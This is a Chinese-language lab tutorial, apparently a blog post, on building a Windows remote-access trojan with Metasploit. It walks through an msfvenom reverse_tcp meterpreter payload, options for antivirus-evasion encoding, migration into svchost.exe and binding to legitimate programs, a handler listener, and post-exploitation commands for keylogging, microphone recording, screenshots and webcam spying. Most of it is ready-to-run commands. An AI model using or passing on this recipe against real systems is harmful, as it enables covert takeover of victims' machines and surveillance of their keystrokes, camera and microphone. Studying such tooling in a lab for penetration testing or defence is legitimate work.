MSF生成远控木马

实验环境：

靶机Windows server 2003   192.168.242.129

攻击机kali  192.168.242.131

实验工具：Metasploit Framework(MSF)

实验过程：

确定攻击机和靶机之间连通性

利用msfvenom生成远控木马

msfvenom是msfpayload,msfencode的结合体，可利用msfvenom生成木马程序,并在目标机上执行，配合meterpreter在本地监听上线。

可以使用msfvenom -h查看所有参数

 常用参数

–p (--payload-options)：                                添加载荷payload。
    --lhost：监听的地址
    --lport：监听的端口
–a：                                                    选择架构平台  x86 、x64 、 x86_64
    --platform：                                        选择平台，windows、Linux
–e：                                                    使用编码进行免杀，如使用 x86/shikata_ga_nai 编码
–i：                                                    编码的次数
–b：                                                    避免使用的字符 例如：不使用 '\x00\'。
PrependMigrate=true PrependMigrateProc=svchost.exe：    使这个木马默认会迁移到 svchost.exe 进程
–f ：                                                   输出文件格式，如 exe、c、elf、macho、raw、asp、aspx、
–l：                                                    查看所有payload encoder nops。
–o：                                                    文件输出
–s：                                                    生成payload的最大长度，就是文件大小。
–c：                                                    添加自己的shellcode
–x | -k：                                               捆绑，可以指定捆绑的程序进行伪装；

使用msfvenom生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.242.131 lport=4444 -f exe -o hack.exe     #lhost是攻击机的主机ip，lport是攻击机的用于监听的端口

 成功生成hack.exe木马程序

使用MSF监听木马反弹过来的shell

msfconsole  //启动
​
use exploit/multi/handler  //开启监听 
​
set payload windows/meterpreter/reverse_tcp  //设置payload，选择漏洞利用模块,跟生成木马的payload对应
​
set lhost 192.168.242.131  //本地IP，即攻击IP
​
set lport 4444  //监听端口
​
exploit   //攻击

启动msfconsole，并配置好payload

 想办法把hack.exe放到靶机上运行（木马复制到靶机，或者开启http服务下载木马都可以）

MSF执行exploit，靶机执行木马程序

 成功监听到shell，可以控制目标服务器

 常用命令

getuid      查看当前权限
getsystem   尝试获取system权限
shell       获取当前权限shell会话
ps          列出正在运行的进程
pkill       按名称终止进程
kill        按PID终止进程
reboot      重启
shutdown    关机
upload      上传文件(格式参考:upload /root/1.txt -> d:/)
download    下载文件(格式参考:download c:/1.txt -> /root/)
keyboard_send   令对方键盘输入(参考格式:keyboard_send ilovecc)
#请按以下顺序执行
keyscan_start   开始捕获击键（开始键盘记录）
keyscan_dump    转储按键缓冲（下载键盘记录）
keyscan_stop    停止捕获击键（停止键盘记录）
#操作完都会有文件保存在服务器，一般是存在/root目录下，msf会提示具体位置和名称，提到本机就可打开看
record_mic      麦克风录制(格式参考:record_mic -d 13)
screenshot      截图截取对方目前桌面的截图
webcam_snap     摄像头拍摄一张照片
webcam_stream   持续监控摄像头

参考链接：
MSF生成木马实现远控 - ʚɞ无恙 - 博客园 (cnblogs.com)
【精选】msf-Msfvenonm生成后门木马-CSDN博客